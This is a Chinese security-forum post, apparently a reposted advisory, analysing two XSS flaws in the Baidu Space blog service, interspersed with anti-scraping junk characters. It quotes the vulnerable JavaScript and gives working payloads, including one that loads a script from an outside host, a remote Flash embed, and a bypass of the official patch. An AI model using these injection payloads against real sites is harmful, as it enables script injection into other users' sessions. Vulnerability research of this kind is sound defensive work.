找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2077|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.    X. }1 ]% A2 b5 ]

" t$ C' Q- @9 p& E8 f& D1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  , q  e( v7 P; r7 I4 e
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
& C- }3 d( d/ t' E9 e
$ z) S$ a& h6 g2 {将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
6 l. R- n+ X2 |其中BdUtil.insertWBR为  
) M: U, {* J1 r2 _: Efunction(text, step) {  
9 G4 b! X+ o3 \6 l" h    var textarea = textAreaCache || getContainer();    G5 e2 C3 @' x3 J, P* \" a0 v
    if (!textarea) {  
9 x/ x  `1 Y& H* \# A8 f1 A        return text;  % a# h. g+ L* K  ^5 J
    }  5 u) b3 l4 ^! I6 [$ T; P
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  ; O% A, f" j! W6 \0 w( Q( b+ w. D
    var string = textarea.value;  # `' [* ], N6 T/ u& k& z/ n
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  + x/ O2 v8 h) s) f; ~
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
! i. J# r# L  Q    return result;  6 H+ p: H/ Q# z9 d5 x, \0 ~
}  
7 }& H8 ~/ ~! C8 S在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
- ]* c3 z. {6 R0 O' O' T# p测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  , j+ h! S9 f7 m  _7 X  |) |
   9 G* m0 r. K% I8 I/ Y
二:creatbgmusic() Dom-Xss Bug  0 t9 L% _3 W5 g: {7 e8 h* s2 }
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
  @# x! V. y" `$ j
' p' o' ]7 W* F& L7 G5 h1 x/ \' Rhttp://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  " _9 R! H2 k2 m0 I9 W# e
9 k" p4 I: `5 P# o( i4 O
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  + Z3 _( e; R, \, l9 \  k
    //传入的murl赋值到bgmusic1和bgmusic2中  
9 q% i, `- W( M: V$ d( S    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  5 v$ U* N4 m0 u& k+ ]" \
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  / ~4 P8 p/ @% H4 p( U; h
    if (musicnum <= 1) {  
. x8 i, N3 ~0 O$ Q3 B6 o( T        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
/ `( K/ `  k. o( ]    }  
) q2 R4 U( W' c9 E4 }& J( o    bgmusic1 += "</OBJECT>";  
/ k9 j9 e6 v/ Z  h) `    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
, T% n3 n. e/ t, D/ p    if (musicnum <= 1) {  - w' ?1 V1 o# t
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  8 Z) |" O7 Y9 _; J, v
    }  $ G( h. x; ~  a' X8 F) J
    bgmusic2 += "> </EMBED>";  ! O% L3 @) c+ q
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  2 S% _8 M: w( v
    var bgmus = detectWMP();  
* {! G$ ]; @; y5 p8 F! N% Q    if (functype == "FckMusicHelper") {  ! _4 E$ g. H* i) g: ]  M8 B
        if (bgmus.installed) {  + l' u* L# Q  E4 R3 u8 x% [0 v
            if (bgmus.type == "IE") {  
6 X0 ?9 ]* B- o) ]                return bgmusic1;  
5 i" j" N/ @$ V7 z            } else if (bgmus.type == "NS") {  
& {& k0 S) v5 |7 n9 Q                return bgmusic2;  4 b9 K& q2 {6 p9 l- R1 V2 G
            }  
- M) N0 B4 G( H/ Z        } else {  ( \8 S# L- \( i$ x, F" v1 |
            return bgmusic3;  
* ?& _% J7 e7 G1 ?3 [, C        }  
" D  ~/ e* H6 c9 m, D  V    } else {  $ K! O( ?5 E: z: j! b
        if (bgmus.installed) {  
0 N1 ^; K8 v" A8 ?            //document.write 直接输出bgmusic变量 导致xss  : v7 L* X$ Z! P, S3 b  p3 g! o
            if (bgmus.type == "IE") {  % R& h& h* z9 p, x0 U2 d" p9 M
                document.write(bgmusic1);  ! J( J- A; [/ }: R
            } else if (bgmus.type == "NS") {  
& S9 {. `/ _2 b) Q; w0 B8 u3 g                document.write(bgmusic2);  
1 ?' n8 o6 d3 U' |# @            }  , N9 J# y. [+ h, q5 Q  S9 L5 b
        } else {  % r3 `4 }0 f& {. y$ W
            document.write(bgmusic3);  
# C. `9 `$ o  D! U& C        }  2 }- g3 o8 ^" ?3 a/ o" r. O* b+ w
        return "";  5 q3 x+ f$ M* X0 M& g2 _# S
    }  
' X5 c8 q9 |# c, o# T. K}  ! Z1 U$ E3 R" A. F2 A4 @8 y# U
7 B* G/ U- h7 X  r2 v) {! L8 i/ I
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
& Z: e0 B4 e+ C+ S  L" X" m
9 s9 s# m+ b" q  m# J1 ^; {function initBlogTextForFCK(){    a# f6 s1 O/ x0 m
//fck init music  
8 b! J* F- W, r0 uif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
) w& Q7 m' n% {/ g# j0 ~var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  * T) F+ h9 N( C7 ~5 f/ j7 _
var isAutoPlay=true;  
1 {0 Y8 \5 Y% h+ Y7 R/ ufor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  / x6 _, n* P! K+ ?
  var img=imgBox;  
% y/ l7 ?$ @( `2 G  P3 K  if(img.getAttribute(’rel’)){        # D) w2 q: k! X; X0 |$ h0 a
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  & Q5 Z) f  {9 ~6 B8 m  m
   var musicDiv = document.createElement("SPAN");  
. Y+ _/ @# _  G, U* n   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
6 P- j& Y% B/ |  e7 ]  `; n! z     1 Z( M) c0 V+ g0 _# O) J
      ..........................  
2 e& ~# j% g1 U- H* L8 o     % b1 ~! ^; U$ q/ p$ Y6 ]
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
# a4 Q8 u! R3 Y( I   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  3 }* F% X- y$ }3 D5 ^- }) ?. p
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  2 }& P( ]& i( ^8 u$ Y3 z
   musicDiv.innerHTML=shtml;  
# E4 r: Q/ q: X7 q   i--;n--;  
" \  g7 f6 a, r# {! p. D1 H  }  8 u) z: u% I6 }3 Y5 Q
}    q- [4 R. Z! a3 z% R

7 P' H  c/ a" o; Q% S3 g# g从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
/ G0 e+ V( z: {! S6 i   & `. o2 c6 c! B! S! o
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  + o% r  B3 |& n( W. b; `

! ]; n/ Z2 v% f, G5 T# `7 H: ?+ |5 g- A, ?等待官方补丁  
# k) i# x0 h, o* |8 R6 k5 d; F) N: f% P4 P) D; @
update 2010年5月13日   # J. Z$ z0 P+ J4 m. T
- i/ H8 A) r- m2 S; `
官方补丁:  4 P, x, w' J9 n; O6 {

4 `$ d- b+ d# d" n3 a+ z# A/ P6 S  w$ G* }var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
2 i# ?0 w) o% Y7 ^. f0 c6 Y改为:  
7 W8 E3 _1 W; H# k! H& ~var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  ; M" h+ S) p8 c& b
! w  W" k* }9 ]$ }& v: f! J+ u
update 2010年5月13日 21:50:37  
7 [# U# I9 z/ z& g5 D% F5 u$ k8 u8 \! x
9 j. a% e9 t/ Y: E2 Q; ?' _补丁存在漏洞 没有过滤" 可以继续跨:  
. L" P- j( u; N( E: d6 Z3 ~! c4 z7 z$ i5 Z4 O6 k7 d1 |  F
NEW POC:  3 s2 l) w" T6 c
# b/ v7 b# L! V8 ?: c, E
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" ; O) }3 a" |9 A) ]1 T( g

# W, m4 y- O" N5 C, Zallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>/ Q; k3 ~. E6 X5 f

! v1 d  K9 O* z" ]( q) X# }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表